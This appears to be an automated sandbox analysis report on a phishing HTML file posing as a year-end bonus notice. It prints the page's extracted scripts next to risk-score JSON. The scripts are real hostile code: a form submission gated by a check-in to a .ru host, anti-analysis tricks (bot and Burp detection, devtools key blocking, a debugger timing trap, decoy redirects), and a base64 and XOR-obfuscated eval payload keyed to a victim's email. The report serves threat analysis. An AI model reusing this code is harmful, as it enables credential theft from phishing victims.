Windows Analysis Report
YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script collects user data and sends it to an unknown domain, and it also redirects the user to a potentially malicious domain if certain conditions are met. These behaviors are highly suspicious and indicate a high risk of malicious intent."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0rzW9AeLMV2SZQ',
    'error-callback': fsBIteyBEz,
    callback: jStLmKugUR,
});
function fsBIteyBEz() {
    turnstile.reset();
}
function jStLmKugUR() {
    var iWfkXgvFJY = document.getElementById("xcuEYAsqgr");
    iWfkXgvFJY.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = '8Tru';
    var RCZGlIBEKE = "../wpoDmt6o2Y1xfWRQ9hcm09aZU0f6UtS3Fmo";
    fetch('https://j3HqJpdd0PibS51kci5ZEqULZ4e8oITHKr5Z8aFeetoJzb4udsSGF7ntUMbI.wceescty.ru/sfnfaoybmznkugayrjddGBwFQkNlpUGNRSXUXDYRKRDDTNAUAPVPKEYDZOIDWTVFQNBGNRZQWEVIR', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(RCZGlIBEKE, {
        method: "POST",
        body: new FormData(iWfkXgvFJY)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(ryatZzkNxH == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.office.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.office.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.office.com');
    });
}

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts, and redirecting the user to an external domain. The script also includes a self-executing function that triggers a debugger and redirects the user after a certain time delay, which is highly suspicious behavior. Overall, this script demonstrates malicious intent and poses a significant security risk."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
ryatZzkNxH = false;
(function WHgjkTANrH() {
    let OHUXShlWOS = false;
    const jmrnVLwdWl = 100;
    setInterval(function() {
        const HSqekqTOMv = performance.now();
        debugger;
        const oGZrbrWILl = performance.now();
        if (oGZrbrWILl - HSqekqTOMv > jmrnVLwdWl && !OHUXShlWOS) {
            ryatZzkNxH = true;
            OHUXShlWOS = true;
            window.location.replace('https://www.office.com');
        }
    }, 100);
})();
    

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: ://

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

if(atob("aHR0cHM6Ly9kbVRPLmtjemN5bHZqdWJ1LnJ1L3hKRW9iM1Yv") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNGZ3JMZWlCbWZRIGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0ZnckxlaUJtZlEgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0ZnckxlaUJtZlEgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojRmdyTGVpQm1mUSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0ZnckxlaUJtZlEuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogOTNweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI0ZnckxlaUJtZlEgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNGZ3JMZWlCbWZRIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojRmdyTGVpQm1mUSAuZGlzcGxheS00IHtmb250LXNpemU6IDEuMjVyZW0haW1wb3J0YW50O30NCiNGZ3JMZWlCbWZRIC5tdC0yIHttYXJnaW4tdG9wOiAwLjVyZW0haW1wb3J0YW50O30NCiNGZ3JMZWlCbWZRIC5oNCB7Zm9udC1zaXplOiBjYWxjKC45MDByZW0gKyAuM3Z3KTt9DQojRmdyTGVpQm1mUSAuanVzdGlmeS1jb250ZW50LWNlbnRlcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyI

{
    "risk_score": 6,
    "reasoning": "The script exhibits several moderate-risk behaviors, including obfuscated code, external data transmission, and the use of a fallback domain. While the intent is not entirely clear, the combination of these factors warrants further review to ensure the script is not engaging in any malicious activities."
}

var muskox = null;
if(location.hash == ""){
location.hash = `#YW1pdGNoZWxsQGNoYXMub3Jn`;
muskox = `#YW1pdGNoZWxsQGNoYXMub3Jn`;
}
if(location.hash !== ""){
muskox = location.hash;
}
if (location.hash.includes('?')) {
muskox = location.hash.replace('#', '');
}
function xzww(eakI,mLsV) {
  eakI = atob(eakI);
  let XDuQ = '';
  const wsBG = mLsV.length;

  for (let CqOK = 0; CqOK < eakI.length; CqOK++) {
    XDuQ += String.fromCharCode(eakI.charCodeAt(CqOK) ^ mLsV.charCodeAt(CqOK % wsBG));
  }

  return XDuQ;
}
eval(xzww('RFhHGVtXQ1YMRlJGWxAFV1FMWFxWTBpXF1FXEgN1DV1fXFtNEB9dUhdVWwNBGVoyEhkVGVtXQ1YMRlJIFVEPXFBWTRdZXFAcQlVaCglHTEtTVFAUV0pdUwxaEU9dOkEYEhlWVk9aXUYBGkUHCFQDV0oXVF1cEBNVCVhZEUtEDkgfV1RPUV9VQAxbWEFPC2sYEhkVWldPVl0XUBgVB14FWl1BG1hcXBwTBFhaCREdDFdWWFlKHxEPPkUUFkYFXxZaW0tRF0tZWlAHW05IB1QFEBVYWVVXTxlHBkZfFhJDRhEJMxUZGBhXWxJWXxQCHhJZXF1XVkAWVVABHBEHClwOTx9JWklNSEcZEVsbAxVTAEhXFEZYVlxWWx0TH11sEEEYElpaTlpRRlBLR1cIAlIOQBxYUV0QH1VYCVtBSwBfE1VBHhwCMhgUFEVXWREEWRNcHEpHWhgFFFURW1ROBlEpagJafXQOdFQfBU0PDQRmM2h+VEFZEx9eUQh6AwQuakYTUkhRbnIJeFovVB1BV3xSUHlrYh4THw1dKAVvEEEZSlVHSl5WQAM+FEUUFgUJRwNRQF0bSkxBWFFLV0UVMlUZTBIEFR5IV0ddEV1ZCFwQB1FKXFECGFFaRwBADEZWQBkDEk5cXUxQDhRUBAZDXRAJXVteXU0CGAUEVRENRgRfE1xXSw8ZCEhMD0VZVxQBWQ8CEglFQQNIVVABXVgBXBBRSEoCFVZOXUZSCVtBXEZYCFxWXFsCGEIZXQtQUx5cEFgBCwAMAAMfDz5FFBZGAl8CTV9cW00WT0ZdEVEeBQlHA1FAXRwCMhgUFEVQWQUTXQRWRhdXVlxBGl0LWlMULmQsdBIEFRsaAz4URRQWAglTFFVXV0EXWldQTUtVRhYDXgV7WlBZXRBbW0MHXUQCTws=', '29598844e46ff0a8'));

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}